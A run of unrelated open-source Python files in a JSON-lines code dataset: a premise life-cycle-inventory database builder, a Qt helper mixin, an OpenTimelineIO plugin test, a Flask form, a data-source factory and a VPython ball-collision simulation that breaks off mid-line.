\"lci-synfuels-from-FT-from-petroleum.xlsx\"\n)\nFILEPATH_SYNFUEL_FROM_BIOMASS_INVENTORIES = (\n INVENTORY_DIR / \"lci-synfuels-from-FT-from-biomass.xlsx\"\n)\nFILEPATH_SYNFUEL_FROM_BIOMASS_CCS_INVENTORIES = (\n INVENTORY_DIR / \"lci-synfuels-from-FT-from-biomass-CCS.xlsx\"\n)\nFILEPATH_SYNGAS_INVENTORIES = INVENTORY_DIR / \"lci-syngas.xlsx\"\nFILEPATH_SYNGAS_FROM_COAL_INVENTORIES = INVENTORY_DIR / \"lci-syngas-from-coal.xlsx\"\nFILEPATH_GEOTHERMAL_HEAT_INVENTORIES = INVENTORY_DIR / \"lci-geothermal.xlsx\"\nFILEPATH_METHANOL_FUELS_INVENTORIES = (\n INVENTORY_DIR / \"lci-synfuels-from-methanol-from-electrolysis.xlsx\"\n)\nFILEPATH_METHANOL_FROM_COAL_FUELS_INVENTORIES = (\n INVENTORY_DIR / \"lci-synfuels-from-methanol-from-coal.xlsx\"\n)\nFILEPATH_METHANOL_FROM_BIOMASS_FUELS_INVENTORIES = (\n INVENTORY_DIR / \"lci-synfuels-from-methanol-from-biomass.xlsx\"\n)\nFILEPATH_METHANOL_FROM_BIOGAS_FUELS_INVENTORIES = (\n INVENTORY_DIR / \"lci-synfuels-from-methanol-from-biogas.xlsx\"\n)\nFILEPATH_METHANOL_FROM_NATGAS_FUELS_INVENTORIES = (\n INVENTORY_DIR / \"lci-synfuels-from-methanol-from-natural-gas.xlsx\"\n)\nFILEPATH_VARIOUS_VEHICLES = INVENTORY_DIR / \"lci-various_vehicles.xlsx\"\n\nSUPPORTED_EI_VERSIONS = [\"3.5\", \"3.6\", \"3.7\", \"3.7.1\"]\nSUPPORTED_MODELS = [\"remind\", \"image\", \"static\"]\nSUPPORTED_PATHWAYS = [\n \"SSP2-Base\",\n \"SSP2-NDC\",\n \"SSP2-NPi\",\n \"SSP2-PkBudg900\",\n \"SSP2-PkBudg1100\",\n \"SSP2-PkBudg1300\",\n \"static\",\n]\n\nLIST_REMIND_REGIONS = [\n 'CAZ',\n 'CHA',\n 'EUR',\n 'IND',\n 'JPN',\n 'LAM',\n 'MEA',\n 'NEU',\n 'OAS',\n 'REF',\n 'SSA',\n 'USA',\n 'World'\n]\n\nLIST_IMAGE_REGIONS = [\n \"BRA\",\n \"CAN\",\n \"CEU\",\n \"CHN\",\n \"EAF\",\n \"INDIA\",\n \"INDO\",\n \"JAP\",\n \"KOR\",\n \"ME\",\n \"MEX\",\n \"NAF\",\n \"OCE\",\n \"RCAM\",\n \"RSAF\",\n \"RSAM\",\n \"RSAS\",\n \"RUS\",\n \"SAF\",\n \"SEAS\",\n \"STAN\",\n \"TUR\",\n \"UKR\",\n \"USA\",\n \"WAF\",\n \"WEU\",\n]\n\nLIST_TRANSF_FUNC = [\n \"update_electricity\",\n \"update_cement\",\n \"update_steel\",\n \"update_cars\",\n \"update_trucks\",\n \"update_solar_PV\"\n]\n\n\ndef check_ei_filepath(filepath):\n\n if not Path(filepath).is_dir():\n raise FileNotFoundError(\n f\"The directory for ecospold files {filepath} could not be found.\"\n )\n else:\n return Path(filepath)\n\n\ndef check_model_name(name):\n if name.lower() not in SUPPORTED_MODELS:\n raise ValueError(\n f\"Only {SUPPORTED_MODELS} are currently supported, not {name}.\"\n )\n else:\n return name.lower()\n\n\ndef check_pathway_name(name, filepath, model):\n \"\"\" Check the pathway name\"\"\"\n\n if name not in SUPPORTED_PATHWAYS:\n # If the pathway name is not a default one, check that the filepath + pathway name\n # leads to an actual file\n\n if model.lower() not in name:\n name_check = '_'.join((model.lower(), name))\n else:\n name_check = name\n\n if (filepath / name_check).with_suffix(\".mif\").is_file():\n return name\n elif (filepath / name_check).with_suffix(\".xls\").is_file():\n return name\n else:\n raise ValueError(\n f\"Only {SUPPORTED_PATHWAYS} are currently supported, not {name}.\"\n )\n else:\n if model.lower() not in name:\n name_check = '_'.join((model.lower(), name))\n else:\n name_check = name\n\n if (filepath / name_check).with_suffix(\".mif\").is_file():\n return name\n elif (filepath / name_check).with_suffix(\".xls\").is_file():\n return name\n else:\n raise ValueError(\n f\"Cannot find the IAM scenario file at this location: {filepath / name_check}.\"\n )\n\n\ndef check_year(year):\n try:\n year = int(year)\n except ValueError:\n raise ValueError(f\"{year} is not a valid year.\")\n\n try:\n assert 2005 <= year < 2100\n except AssertionError:\n raise AssertionError(f\"{year} must be comprised between 2005 and 2100.\")\n\n return year\n\n\ndef check_filepath(path):\n if not Path(path).is_dir():\n raise FileNotFoundError(f\"The IAM output directory {path} could not be found.\")\n else:\n return Path(path)\n\ndef check_exclude(list_exc):\n\n if not isinstance(list_exc, list):\n raise TypeError(\"`exclude` should be a sequence of strings.\")\n\n if not set(list_exc).issubset(LIST_TRANSF_FUNC):\n raise ValueError(\n \"One or several of the transformation that you wish to exclude is not recognized.\"\n )\n else:\n return list_exc\n\n\n\ndef check_fleet(fleet, model, vehicle_type):\n if \"fleet file\" not in fleet:\n print(\n f\"No fleet composition file is provided for {vehicle_type}.\"\n \"Fleet average vehicles will be built using default fleet projection.\"\n )\n\n fleet[\"fleet file\"] = (\n DATA_DIR / \"iam_output_files\" / \"fleet files\" / model / vehicle_type / \"fleet_file.csv\"\n )\n else:\n filepath = fleet[\"fleet file\"]\n if not Path(filepath).is_file():\n raise FileNotFoundError(\n f\"The fleet file {filepath} could not be found.\"\n )\n\n if \"regions\" in fleet:\n if isinstance(fleet[\"regions\"], str):\n fleet[\"regions\"] = list(fleet[\"regions\"])\n\n\n if model == \"remind\":\n if not set(fleet[\"regions\"]).issubset(LIST_REMIND_REGIONS):\n raise ValueError(\n \"One or several regions specified for the fleet \"\n \"of passenger cars is invalid.\"\n )\n\n if model == \"image\":\n if not set(fleet[\"regions\"]).issubset(LIST_IMAGE_REGIONS):\n raise ValueError(\n \"One or several regions specified for the fleet \"\n \"of passenger cars is invalid.\"\n )\n else:\n if model == \"remind\":\n fleet[\"regions\"] = [r for r in LIST_REMIND_REGIONS if r != \"World\"]\n if model == \"image\":\n fleet[\"regions\"] = [r for r in LIST_IMAGE_REGIONS if r != \"World\"]\n\n if \"filters\" not in fleet:\n fleet[\"filters\"] = None\n else:\n if isinstance(fleet[\"fleet\"], str):\n fleet[\"filters\"] = list(fleet[\"filters\"])\n\n\n return fleet\n\ndef check_additional_inventories(inventories_list):\n\n if not isinstance(inventories_list, list):\n raise TypeError(\"Inventories to import need to be in a sequence of dictionaries like so:\"\n \"[\"\n \"{'filepath': 'a file path', 'ecoinvent version: '3.6'},\"\n \" {'filepath': 'a file path', 'ecoinvent version: '3.6'}\"\n \"]\")\n\n for inventory in inventories_list:\n if not isinstance(inventory, dict):\n raise TypeError(\"Inventories to import need to be in a sequence of dictionaries like so:\"\n \"[\"\n \"{'filepath': 'a file path', 'ecoinvent version: '3.6'},\"\n \" {'filepath': 'a file path', 'ecoinvent version: '3.6'}\"\n \"]\")\n\n if not all(i for i in inventory.keys() if i in [\"filepath\", \"ecoinvent version\"]):\n raise TypeError(\"Both `filepath` and `ecoinvent version` must be present in the list of inventories to import.\")\n\n if not Path(inventory[\"filepath\"]).is_file():\n raise FileNotFoundError(f\"Cannot find the inventory file: {inventory['filepath']}.\")\n else:\n inventory[\"filepath\"] = Path(inventory[\"filepath\"])\n\n if inventory[\"ecoinvent version\"] not in [\"3.7\", \"3.7.1\"]:\n raise ValueError(\n f\"A lot of trouble will be avoided if the additional inventories to import are ecoinvent 3.7 or 3.7.1-compliant.\"\n )\n\n return inventories_list\n\ndef check_db_version(version):\n version = str(version)\n if version not in SUPPORTED_EI_VERSIONS:\n raise ValueError(\n f\"Only {SUPPORTED_EI_VERSIONS} are currently supported, not {version}.\"\n )\n else:\n return version\n\n\ndef check_scenarios(scenario):\n\n if not all(name in scenario for name in [\"model\", \"pathway\", \"year\"]):\n raise ValueError(\n f\"Missing parameters in {scenario}. Needs to include at least `model`,\"\n f\"`pathway` and `year`.\"\n )\n\n if \"filepath\" in scenario:\n filepath = scenario[\"filepath\"]\n scenario[\"filepath\"] = check_filepath(filepath)\n else:\n scenario[\"filepath\"] = DATA_DIR / \"iam_output_files\"\n\n scenario[\"model\"] = check_model_name(scenario[\"model\"])\n scenario[\"pathway\"] = check_pathway_name(scenario[\"pathway\"], scenario[\"filepath\"], scenario[\"model\"])\n scenario[\"year\"] = check_year(scenario[\"year\"])\n\n if \"exclude\" in scenario:\n scenario[\"exclude\"] = check_exclude(scenario[\"exclude\"])\n\n if \"passenger cars\" in scenario:\n scenario[\"passenger cars\"] = check_fleet(\n scenario[\"passenger cars\"], scenario[\"model\"], \"passenger cars\"\n )\n else:\n scenario[\"passenger cars\"] = False\n\n if \"trucks\" in scenario:\n scenario[\"trucks\"] = check_fleet(\n scenario[\"trucks\"], scenario[\"model\"], \"trucks\"\n )\n else:\n scenario[\"trucks\"] = False\n\n return scenario\n\n\nclass NewDatabase:\n \"\"\"\n Class that represents a new wurst inventory database, modified according to IAM data.\n\n :ivar source_type: the source of the ecoinvent database. Can be `brigthway` or `ecospold`.\n :vartype source_type: str\n :ivar source_db: name of the ecoinvent source database\n :vartype source_db: str\n :ivar source_version: version of the ecoinvent source database. Currently works with ecoinvent 3.5, 3.6, 3.7, 3.7.1.\n :vartype source_version: str\n\n \"\"\"\n\n def __init__(\n self,\n scenarios,\n source_db=None,\n source_version=\"3.7.1\",\n source_type=\"brightway\",\n source_file_path=None,\n additional_inventories=None\n ):\n\n self.source = source_db\n self.version = check_db_version(source_version)\n self.source_type = source_type\n\n if self.source_type == \"ecospold\":\n self.source_file_path = check_ei_filepath(source_file_path)\n else:\n self.source_file_path = None\n\n self.scenarios = [check_scenarios(scenario) for scenario in scenarios]\n\n if additional_inventories:\n self.additional_inventories = check_additional_inventories(additional_inventories)\n else:\n self.additional_inventories = None\n\n print(\n \"\\n////////////////////// EXTRACTING SOURCE DATABASE ///////////////////////\"\n )\n self.db = self.clean_database()\n print(\n \"\\n/////////////////// IMPORTING DEFAULT INVENTORIES ////////////////////\"\n )\n self.import_inventories()\n\n for scenario in self.scenarios:\n scenario[\"external data\"] = IAMDataCollection(\n model=scenario[\"model\"],\n pathway=scenario[\"pathway\"],\n year=scenario[\"year\"],\n filepath_iam_files=scenario[\"filepath\"],\n )\n scenario[\"database\"] = copy.deepcopy(self.db)\n\n def clean_database(self):\n \"\"\"\n Extracts the ecoinvent database, loads it into a dictionary and does a little bit of housekeeping\n (adds missing locations, reference products, etc.).\n :return:\n \"\"\"\n return DatabaseCleaner(\n self.source, self.source_type, self.source_file_path\n ).prepare_datasets()\n\n def import_inventories(self):\n \"\"\"\n This method will trigger the import of a number of inventories\n and merge them into the database dictionary.\n If `add_passenger_cars` and `add_trucks` have been set to `True`,\n or if they have been passed as dictionaries, corresponding inventories will be\n imported as well, otherwise, they will not.\n \"\"\"\n\n print(\"Importing necessary inventories...\\n\")\n with open(os.devnull, \"w\") as f, contextlib.redirect_stdout(f):\n # Add Carma CCS inventories\n for file in (FILEPATH_CARMA_INVENTORIES, FILEPATH_CHP_INVENTORIES):\n carma = CarmaCCSInventory(self.db, self.version, file)\n carma.merge_inventory()\n\n dac = DACInventory(self.db, self.version, FILEPATH_DAC_INVENTORIES)\n dac.merge_inventory()\n\n biogas = BiogasInventory(self.db, self.version, FILEPATH_BIOGAS_INVENTORIES)\n biogas.merge_inventory()\n\n for file in (\n FILEPATH_HYDROGEN_INVENTORIES,\n FILEPATH_HYDROGEN_BIOGAS_INVENTORIES,\n FILEPATH_HYDROGEN_COAL_GASIFICATION_INVENTORIES,\n FILEPATH_HYDROGEN_NATGAS_INVENTORIES,\n FILEPATH_HYDROGEN_WOODY_INVENTORIES,\n ):\n\n hydro = HydrogenInventory(self.db, self.version, file)\n hydro.merge_inventory()\n\n for file in (FILEPATH_SYNGAS_INVENTORIES, FILEPATH_SYNGAS_FROM_COAL_INVENTORIES):\n syngas = SyngasInventory(self.db, self.version, file)\n syngas.merge_inventory()\n\n bio = BiofuelInventory(self.db, self.version, FILEPATH_BIOFUEL_INVENTORIES)\n bio.merge_inventory()\n\n\n for file in (\n FILEPATH_SYNFUEL_INVENTORIES,\n FILEPATH_SYNFUEL_FROM_COAL_INVENTORIES,\n FILEPATH_SYNFUEL_FROM_BIOGAS_INVENTORIES,\n FILEPATH_SYNFUEL_FROM_BIOMASS_INVENTORIES,\n FILEPATH_SYNFUEL_FROM_BIOMASS_CCS_INVENTORIES,\n FILEPATH_SYNFUEL_FROM_NAT_GAS_INVENTORIES,\n FILEPATH_SYNFUEL_FROM_NAT_GAS_CCS_INVENTORIES,\n FILEPATH_SYNFUEL_FROM_PETROLEUM_INVENTORIES,\n ):\n synfuel = SynfuelInventory(self.db, self.version, file)\n synfuel.merge_inventory()\n\n geo_heat = GeothermalInventory(\n self.db, self.version, FILEPATH_GEOTHERMAL_HEAT_INVENTORIES\n )\n geo_heat.merge_inventory()\n\n for file in (\n FILEPATH_METHANOL_FUELS_INVENTORIES,\n FILEPATH_METHANOL_FROM_COAL_FUELS_INVENTORIES,\n FILEPATH_METHANOL_FROM_BIOMASS_FUELS_INVENTORIES,\n FILEPATH_METHANOL_FROM_BIOGAS_FUELS_INVENTORIES,\n FILEPATH_METHANOL_FROM_NATGAS_FUELS_INVENTORIES,\n ):\n\n lpg = LPGInventory(self.db, self.version, file)\n lpg.merge_inventory()\n\n various_veh = VariousVehicles(self.db, self.version, FILEPATH_VARIOUS_VEHICLES)\n various_veh.merge_inventory()\n\n print(\"Done!\\n\")\n\n if self.additional_inventories:\n\n print(\n \"\\n/////////////////// IMPORTING USER-DEFINED INVENTORIES ////////////////////\"\n )\n\n for file in self.additional_inventories:\n additional = AdditionalInventory(self.db, self.version, file[\"filepath\"])\n additional.merge_inventory()\n\n print(\"Done!\\n\")\n\n\n\n def update_electricity(self):\n\n print(\"\\n/////////////////// ELECTRICITY ////////////////////\")\n\n for scenario in self.scenarios:\n if \"exclude\" not in scenario or \"update_electricity\" not in scenario[\"exclude\"]:\n electricity = Electricity(\n db=scenario[\"database\"],\n iam_data=scenario[\"external data\"],\n model=scenario[\"model\"],\n pathway=scenario[\"pathway\"],\n year=scenario[\"year\"],\n )\n scenario[\"database\"] = electricity.update_electricity_markets()\n scenario[\"database\"] = electricity.update_electricity_efficiency()\n\n def update_cement(self):\n print(\"\\n/////////////////// CEMENT ////////////////////\")\n\n for scenario in self.scenarios:\n if \"exclude\" not in scenario or \"update_cement\" not in scenario[\"exclude\"]:\n\n cement = Cement(\n db=scenario[\"database\"],\n model=scenario[\"model\"],\n scenario=scenario[\"pathway\"],\n iam_data=scenario[\"external data\"],\n year=scenario[\"year\"],\n version=self.version,\n )\n\n scenario[\"database\"] = cement.add_datasets_to_database()\n\n def update_steel(self):\n print(\"\\n/////////////////// STEEL ////////////////////\")\n\n if (\n len(\n [\n v\n for v in self.scenarios[0][\"external data\"].data.variables.values\n if \"steel\" in v.lower() and \"production\" in v.lower()\n ]\n )\n > 0\n ):\n\n for scenario in self.scenarios:\n if \"exclude\" not in scenario or \"update_steel\" not in scenario[\"exclude\"]:\n\n steel = Steel(\n db=scenario[\"database\"],\n model=scenario[\"model\"],\n iam_data=scenario[\"external data\"],\n year=scenario[\"year\"],\n )\n scenario[\"database\"] = steel.generate_activities()\n else:\n print(\n \"The IAM pathway chosen does not contain any data related to the steel sector.\\n\"\n \"The creation of IAM region-specific steel production activities and markets will be skipped.\"\n \"But we will nevertheless adjust hot pollutant emissions and the expected share of recycled steel.\"\n )\n for scenario in self.scenarios:\n if \"exclude\" not in scenario or \"update_steel\" not in scenario[\"exclude\"]:\n\n steel = Steel(\n db=scenario[\"database\"],\n model=scenario[\"model\"],\n iam_data=scenario[\"external data\"],\n year=scenario[\"year\"],\n )\n scenario[\"database\"] = steel.generate_activities(industry_module_present=False)\n\n def update_cars(self):\n print(\"\\n/////////////////// PASSENGER CARS ////////////////////\")\n\n for scenario in self.scenarios:\n if \"exclude\" not in scenario or \"update_cars\" not in scenario[\"exclude\"]:\n\n if scenario[\"passenger cars\"]:\n\n # Import `carculator` inventories if wanted\n cars = CarculatorInventory(\n database=scenario[\"database\"],\n version=self.version,\n path=scenario[\"filepath\"],\n fleet_file=scenario[\"passenger cars\"][\"fleet file\"],\n model=scenario[\"model\"],\n pathway=scenario[\"pathway\"],\n year=scenario[\"year\"],\n regions=scenario[\"passenger cars\"][\"regions\"],\n filters=scenario[\"passenger cars\"][\"filters\"],\n )\n scenario[\"database\"] = cars.merge_inventory()\n\n crs = Cars(\n db=scenario[\"database\"],\n iam_data=scenario[\"external data\"],\n pathway=scenario[\"pathway\"],\n year=scenario[\"year\"],\n model=scenario[\"model\"],\n )\n scenario[\"database\"] = crs.update_cars()\n\n\n\n def update_trucks(self):\n\n print(\"\\n/////////////////// MEDIUM AND HEAVY DUTY TRUCKS ////////////////////\")\n\n for scenario in self.scenarios:\n if \"exclude\" not in scenario or \"update_trucks\" not in scenario[\"exclude\"]:\n if scenario[\"trucks\"]:\n\n # Import `carculator_truck` inventories if wanted\n\n trucks = TruckInventory(\n database=scenario[\"database\"],\n version=self.version,\n path=scenario[\"filepath\"],\n fleet_file=scenario[\"trucks\"][\"fleet file\"],\n model=scenario[\"model\"],\n pathway=scenario[\"pathway\"],\n year=scenario[\"year\"],\n regions=scenario[\"trucks\"][\"regions\"],\n filters=scenario[\"trucks\"][\"filters\"],\n )\n scenario[\"database\"] = trucks.merge_inventory()\n\n\n def update_solar_PV(self):\n print(\"\\n/////////////////// SOLAR PV ////////////////////\")\n\n for scenario in self.scenarios:\n if \"exclude\" not in scenario or \"update_solar_PV\" not in scenario[\"exclude\"]:\n solar_PV = SolarPV(db=scenario[\"database\"], year=scenario[\"year\"])\n print(\"Update efficiency of solar PVs.\\n\")\n scenario[\"database\"] = solar_PV.update_efficiency_of_solar_PV()\n\n def update_all(self):\n \"\"\"\n Shortcut method to execute all transformation functions.\n \"\"\"\n\n self.update_cars()\n self.update_trucks()\n self.update_electricity()\n self.update_solar_PV()\n self.update_cement()\n self.update_steel()\n\n\n def write_db_to_brightway(self):\n \"\"\"\n Register the new database into an open brightway2 project.\n \"\"\"\n print(\"Write new database(s) to Brightway2.\")\n for scenario in self.scenarios:\n wurst.write_brightway2_database(\n scenario[\"database\"],\n eidb_label(scenario[\"model\"], scenario[\"pathway\"], scenario[\"year\"]),\n )\n\n def write_db_to_matrices(self, filepath=None):\n \"\"\"\n\n Exports the new database as a sparse matrix representation in csv files.\n\n\n :param filepath: path provided by the user to store the exported matrices\n :type filepath: str\n\n \"\"\"\n print(\"Write new database(s) to matrix.\")\n for scenario in self.scenarios:\n Export(\n scenario[\"database\"],\n scenario[\"model\"],\n scenario[\"pathway\"],\n scenario[\"year\"],\n filepath,\n ).export_db_to_matrices()\n\n def write_db_to_simapro(self, filepath=None):\n \"\"\"\n Exports database as a CSV file to be imported in Simapro 9.x\n\n :param filepath: path provided by the user to store the exported import file\n :type filepath: str\n\n \"\"\"\n\n print(\"Write Simapro import file(s).\")\n for scenario in self.scenarios:\n Export(\n scenario[\"database\"],\n scenario[\"model\"],\n scenario[\"pathway\"],\n scenario[\"year\"],\n filepath,\n ).export_db_to_simapro()\n\n def write_db_to_brightway25(self):\n \"\"\"\n Register the new database into the current brightway2.5 project.\n \"\"\"\n print('Write new database to Brightway2.5')\n # We first need to check for differences between the source database\n # and the new ones\n # We add a `modified` label to any new activity or any new or modified exchange\n self.scenarios = add_modified_tags(self.db, self.scenarios)\n for scenario in self.scenarios:\n wurst.write_brightway25_database(scenario[\"database\"],\n eidb_label(\n scenario[\"model\"],\n scenario[\"pathway\"],\n scenario[\"year\"]\n ),\n self.source\n )", "source": "tngTUDOR/premise", "license": "BSD-3-Clause"} {"text": "# JN 2016-06-01\n\n\"\"\"\ngiven dropfiles, create a common one (lines contained in all files)\n\"\"\"\n\n\ndef common_dropfile(fnames):\n \n sets = []\n for fname in fnames:\n with open(fname, 'r') as fid:\n sets.append(set([l.strip() for l in fid.readlines()]))\n\n return sorted(sets[0].intersection(*(sets[1:])))\n\n\nif __name__ == \"__main__\":\n import sys\n ret = common_dropfile(sys.argv[1:])\n for l in ret:\n print(l)\n", "source": "s-mackay/combinato", "license": "MIT"} {"text": "#!/usr/bin/env python3\nfrom mylib.easy import *\nfrom mylib.easy import T\n\n\nclass EzQtObjectMixin:\n def __init__(self, widget):\n self.widget = widget\n\n def set(self, **kwargs):\n for name, value in kwargs.items():\n setter = self.__setter_method__(name)\n if isinstance(value, EzArguments):\n setter(*value.args, **value.kwargs)\n else:\n setter(value)\n return self\n\n def get(self, *args: str, **kwargs):\n r = []\n for name in args:\n name = ez_snake_case_to_camel_case(name)\n getter = self.__getter_method__(name)\n r.append(getter())\n for name, value in kwargs.items():\n name = ez_snake_case_to_camel_case(name)\n getter = self.__getter_method__(name)\n if isinstance(value, EzArguments):\n r.append(getter(*value.args, **value.kwargs))\n else:\n r.append(getter(value))\n return r\n\n @functools.lru_cache()\n def __setter_method__(self, name):\n return getattr(self, ez_snake_case_to_camel_case('set_' + name))\n\n @functools.lru_cache()\n def __getter_method__(self, name):\n return getattr(self, ez_snake_case_to_camel_case(name))\n\n def __the_method_factory__(self, name: str):\n name_without_the = str_remove_prefix(name, 'the_')\n\n def _the_func(x=..., *args, **kwargs):\n if x is ...:\n getter = self.__getter_method__(name_without_the)\n return getter(*args, **kwargs)\n else:\n setter = self.__setter_method__(name_without_the)\n setter(*args, **kwargs)\n return self\n\n _the_func.__name__ = name\n self.__dict__[name] = _the_func\n return _the_func\n\n def __getattr__(self, name: str):\n if name.startswith('the_'):\n return self.__the_method_factory__(name)\n raise AttributeError(name)\n\n def the_qss(self, value=..., selector=None):\n if value is ...:\n return self.styleSheet()\n else:\n self.setStyleSheet(ez_qss(value, selector=selector))\n return self\n\n\ndef ez_qt_obj(q_obj):\n original_class = q_obj.__class__\n\n class NewClass(original_class, EzQtObjectMixin):\n pass\n\n NewClass.__name__ = 'Ez' + original_class.__name__\n q_obj.__class__ = NewClass\n return q_obj\n\n\ndef ez_qss(value, selector=None):\n if isinstance(value, dict):\n style_sheet = '; '.join(f'{k.replace(\"_\", \"-\")}: {v}' for k, v in value.items())\n elif isinstance(value, str):\n style_sheet = value\n elif isinstance(value, T.Iterable):\n style_sheet = '; '.join(i for i in value)\n else:\n raise TypeError('style')\n if selector:\n if hasattr(selector, '__name__'):\n selector = selector.__name__\n style_sheet = f'{selector} {{{style_sheet}}}'\n return style_sheet\n", "source": "fakegit/mo-han-toolbox", "license": "MIT"} {"text": "#!/usr/bin/env python\n#\n# Copyright 2018 Pixar Animation Studios\n#\n# Licensed under the Apache License, Version 2.0 (the \"Apache License\")\n# with the following modification; you may not use this file except in\n# compliance with the Apache License and the following modification to it:\n# Section 6. Trademarks. is deleted and replaced with:\n#\n# 6. Trademarks. This License does not grant permission to use the trade\n# names, trademarks, service marks, or product names of the Licensor\n# and its affiliates, except as required to comply with Section 4(c) of\n# the License and to reproduce the content of the NOTICE file.\n#\n# You may obtain a copy of the Apache License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the Apache License with the above modification is\n# distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the Apache License for the specific\n# language governing permissions and limitations under the Apache License.\n#\nimport unittest\nimport os\nimport pkg_resources\nimport sys\n\ntry:\n # Python 3.3 forward includes the mock module\n from unittest import mock\n could_import_mock = True\nexcept ImportError:\n # Fallback for older python (not included in standard library)\n try:\n import mock\n could_import_mock = True\n except ImportError:\n # Mock appears to not be installed\n could_import_mock = False\n\n\nimport opentimelineio as otio\nfrom tests import baseline_reader\n\n\n@unittest.skipIf(\n not could_import_mock,\n \"mock module not found. Install mock from pypi or use python >= 3.3.\"\n)\nclass TestSetuptoolsPlugin(unittest.TestCase):\n def setUp(self):\n # Get the location of the mock plugin module metadata\n mock_module_path = os.path.join(\n baseline_reader.path_to_baseline_directory(),\n 'plugin_module',\n )\n\n # Create a WorkingSet as if the module were installed\n entries = [mock_module_path] + pkg_resources.working_set.entries\n\n self.sys_patch = mock.patch('sys.path', entries)\n self.sys_patch.start()\n\n working_set = pkg_resources.WorkingSet(entries)\n\n # linker from the entry point\n self.entry_patcher = mock.patch(\n 'pkg_resources.iter_entry_points',\n working_set.iter_entry_points\n )\n self.entry_patcher.start()\n\n def tearDown(self):\n self.sys_patch.stop()\n self.entry_patcher.stop()\n del(sys.modules['otio_mockplugin'])\n\n def test_detect_plugin(self):\n \"\"\"This manifest uses the plugin_manifest function\"\"\"\n\n # Create a manifest and ensure it detected the mock adapter and linker\n man = otio.plugins.manifest.load_manifest()\n\n # Make sure the adapter is included in the adapter list\n adapter_names = [adapter.name for adapter in man.adapters]\n self.assertIn('mock_adapter', adapter_names)\n\n # Make sure the linker is included in the linker list\n linker_names = [linker.name for linker in man.media_linkers]\n self.assertIn('mock_linker', linker_names)\n\n # Make sure adapters and linkers landed in the proper place\n for adapter in man.adapters:\n self.assertIsInstance(adapter, otio.adapters.Adapter)\n\n for linker in man.media_linkers:\n self.assertIsInstance(linker, otio.media_linker.MediaLinker)\n\n def test_detect_plugin_json_manifest(self):\n # Test detecting a plugin that rather than exposing the plugin_manifest\n # function, just simply has a plugin_manifest.json provided at the\n # package top level.\n man = otio.plugins.manifest.load_manifest()\n\n # Make sure the adapter is included in the adapter list\n adapter_names = [adapter.name for adapter in man.adapters]\n self.assertIn('mock_adapter_json', adapter_names)\n\n # Make sure the linker is included in the linker list\n linker_names = [linker.name for linker in man.media_linkers]\n self.assertIn('mock_linker_json', linker_names)\n\n # Make sure adapters and linkers landed in the proper place\n for adapter in man.adapters:\n self.assertIsInstance(adapter, otio.adapters.Adapter)\n\n for linker in man.media_linkers:\n self.assertIsInstance(linker, otio.media_linker.MediaLinker)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "source": "alatdneg/OpenTimelineIO", "license": "Apache-2.0"} {"text": "from flask_wtf import FlaskForm\nfrom wtforms import BooleanField, SubmitField\n\n\nclass PermissionForm(FlaskForm):\n \"\"\"\n \u767b\u5f55\u8868\u5355\n \"\"\"\n favourite = BooleanField('\u559c\u6b22', default=False)\n commit = BooleanField('\u8bc4\u8bba', default=True)\n save = SubmitField('\u786e\u5b9a')\n", "source": "SheHuan/NiceBlog", "license": "Apache-2.0"} {"text": "from force_bdss.api import BaseDataSourceFactory\n\nfrom .database_model import DatabaseModel\nfrom .database_data_source import DatabaseDataSource\n\n\nclass DatabaseFactory(BaseDataSourceFactory):\n def get_identifier(self):\n return \"database\"\n\n def get_name(self):\n return \"Database Ingredient\"\n\n def get_model_class(self):\n return DatabaseModel\n\n def get_data_source_class(self):\n return DatabaseDataSource\n", "source": "force-h2020/force-bdss-plugin-surfactant-example", "license": "BSD-2-Clause"} {"text": "# -*- coding: UTF-8 -*-\n'''\n A_____A\n / = . = - Developed by CKB, do not steal plz\n/ w \\\ncurrent version: 1.2\n\nupdate log:\nver 1.0 - initial release\nver 1.1 - fix weird acceleration\nver 1.2 - fix \"ball stuck in wall\" problem\n\nver 2.0 - MOAR BALLS\n\n'''\nfrom visual import *\nfrom visual.graph import *\nfrom ../Collision import *\n\n## variables\nr = 0.1 #radius of ball\n#N = 50\n\n\n## visual stuff\nscene = display(x=0,y=0,width=600,height=600,background=(0,0,0),center = vector(0,0) #!vis\n ,autoscale = False,) #!vis\ngd = gdisplay(x=600,y=0,width=300,height=300,xtitle='t',title = 'velocity',\n foreground=color.black,background=color.white)\ngd2= gdisplay(x=600,y=300,width=300,height=300,xtitle='t',title = 'Ball Amount',\n foreground=color.black,background=color.white)\n\nf1 = gcurve(color=color.blue, gdisplay=gd)\nf2 = gcurve(color=color.red , gdisplay=gd)\nf3 = gcurve(color=color.green,gdisplay=gd2)\n\nrandom.seed(1)\n\n\n#main code\nt = 0\ndt =0.001\ndts = 0\n\n#initialization ends\n\nclass Container():\n def __init__(self, parts, limit_udlr):\n global r\n self.parts = parts # list sections of container\n\n self.limit_udlr = limit_udlr\n\n ## balls\n self.N = 70 # initial number of ball\n self.ball_mass = 0.001 # mass of ball (just a random number, i dot car)\n\n self.v = random.uniform(-30,30,[self.N,3]) #velocity of balls\n for i in range(len(self.v)):\n #self.v[i][0] = 0\n #self.v[i][1] = 0 #random.random(size = None)*10 - 5\n self.v[i][2] = 0\n \n \n #pos_arr = random.uniform(-3,3,(N,3))\n self.pos_arr = zeros((self.N,3)) #pos of ball\n \n for i in range(len(self.pos_arr)):\n self.pos_arr[i][2] = 0\n self.pos_arr[i][1] = random.random(size = None)*6 - 3\n self.pos_arr[i][0] = random.random(size = None)*6 - 3\n \n self.ball = [sphere(radius = r,make_trail=False, #!vis\n color=color.yellow) for i in range(self.N)]#!vis\n \n self.ball[0].color = color.red #!vis\n #self.ball[0].make_trail = True #!vis\n for i in range(self.N): #!vis\n self.ball[i].pos = vector(self.pos_arr[i]) #!vis\n \n\n def OnUpdate(self):\n '''\n The main update function.\n '''\n for j in range(self.N):\n for k in range(2):\n self.pos_arr[j][k] += self.v[j][k]*dt # update ball position array\n\n self.ball[j].pos = vector(self.pos_arr[j]) # update visual ball position #!vis\n #''' ball hit detection\n r_array = self.pos_arr - self.pos_arr[:,newaxis] # all pairs of atom-to-atom vectors\n rmag = sum(square(r_array),-1) # atom-to-atom distance squared\n hit = nonzero((rmag < 4*r**2) - identity(self.N))\n hitlist = zip(hit[0], hit[1]) \n for p,q in hitlist:\n if sum((self.pos_arr[p]-self.pos_arr[q])*(self.v[p]-self.v[q])) < 0 : # check if approaching\n self.v[p], self.v[q] = 